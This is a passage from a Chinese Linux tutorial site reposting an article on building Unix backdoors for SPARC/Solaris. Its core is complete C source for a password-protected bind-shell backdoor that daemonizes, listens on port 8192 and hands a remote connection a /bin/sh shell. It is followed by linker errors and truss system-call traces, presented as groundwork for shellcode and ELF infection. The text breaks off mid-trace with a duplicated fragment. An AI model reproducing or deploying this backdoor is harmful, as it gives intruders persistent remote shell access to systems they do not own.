歡迎來到Linux教程網
Linux教程網
Linux教程網
Linux教程網
Linux教程網 >> Linux綜合 >> Linux資訊 >> 更多Linux >> SPARC/Solaris下的Unix後門初探(1)

SPARC/Solaris下的Unix後門初探(1)

日期:2017/2/27 14:16:05   编辑:更多Linux
  無論從感染ELF文件角度還是編寫遠程shellcode角度都有必要研究SPARC/Solaris下 的網絡系統調用。這個方向並沒有現成的資料,我也是摸著石頭過河,給大家探個路。 -------------------------------------------------------------------------- /* gcc -g -ggdb -o s s.c -lsocket */ #include <signal.h> #include <unistd.h> #include <sys/socket.h> #include <netinet/in.h> int s, c; strUCt sockaddr_in serv_addr; char * name[2]; char pass[9] = "xxxxxxxx"; int main ( int argc, char * argv[] ) { if ( fork() == 0 ) /* 子進程 */ { setsid(); /* become session leader */ signal( SIGHUP, SIG_IGN ); if ( fork() == 0 ) /* 子進程 */ { serv_addr.sin_family = 2; serv_addr.sin_addr.s_addr = 0; serv_addr.sin_port = 0x2000; // 端口8192 // 創建TCP套接字,這裡與Linux有區別 s = socket( 2, 2, 6 ); bind( s, ( struct sockaddr * )&serv_addr, 0x10 ); listen( s, 1 ); signal( SIGCHLD, SIG_IGN ); while ( 1 ) { c = accept( s, 0, 0 ); if ( fork() == 0 ) /* 子進程 */


{ close( s ); /* 用c進行通信,做一次弱驗證保護 */ while ( strcmp( pass, "12345678" ) != 0 ) { read( c, pass, 8 ); } // 准備輸入輸出重定向,標准技術 dup2( c, 0 ); dup2( c, 1 ); dup2( c, 2 ); close( c ); /* 這裡可以關閉c */ name[0] = "/bin/sh"; name[1] = 0; execve( name[0], name, 0 ); exit( 0 ); /* 防止execve()失敗 */ } close( c ); /* 這裡必須關閉c */ } /* end of while */ } } return( 0 ); /* 父進程 */

} /* end of main */ -------------------------------------------------------------------------- 該程序只能編譯成動態版本,如果指定-static,發現 [scz@ /space/staff/scz/src]> gcc -g -ggdb -static -o s s.c -lsocket 未定義符號 在文件中 endnetconfig /usr/lib/libsocket.a(_soutil.o) setnetconfig /usr/lib/libsocket.a(_soutil.o) getnetconfig /usr/lib/libsocket.a(_soutil.o) ld: 致命的: 符號參照錯誤. 沒有輸出被寫入s [scz@ /space/staff/scz/src]> 我嘗試了/usr/lib和/lib下的很多庫,都無法解決這個問題。後來拷貝 /usr/lib/libsocket.a到當前目錄,用ar dv ./libsocket.a _soutil.o處理,然後 鏈接一樣失敗。甚至ar xv ./libsocket.a後用ld命令進行手工鏈接,依舊存在外部 符號無著落的問題。 大家知道,沒有靜態版本,要想得到一個精簡的匯編代碼版本是不可能的,總不能在 浩如煙海的動態鏈接庫裡單步跟蹤下去判斷中斷調用發生在哪裡。還好,可以用 truss跟蹤。適當調整上述代碼,用truss跟蹤後有如下內容: setsid() = 2260 sigaction(SIGHUP, 0xEFFFFC58, 0xEFFFFCD8) = 0 so_socket(2, 2, 6, "", 1) = 3 bind(3, 0x00021E60, 16) = 0 listen(3, 1) &n



bind(3, 0x00021E60, 16) = 0 listen(3, 1) &n



Copyright © Linux教程網 All Rights Reserved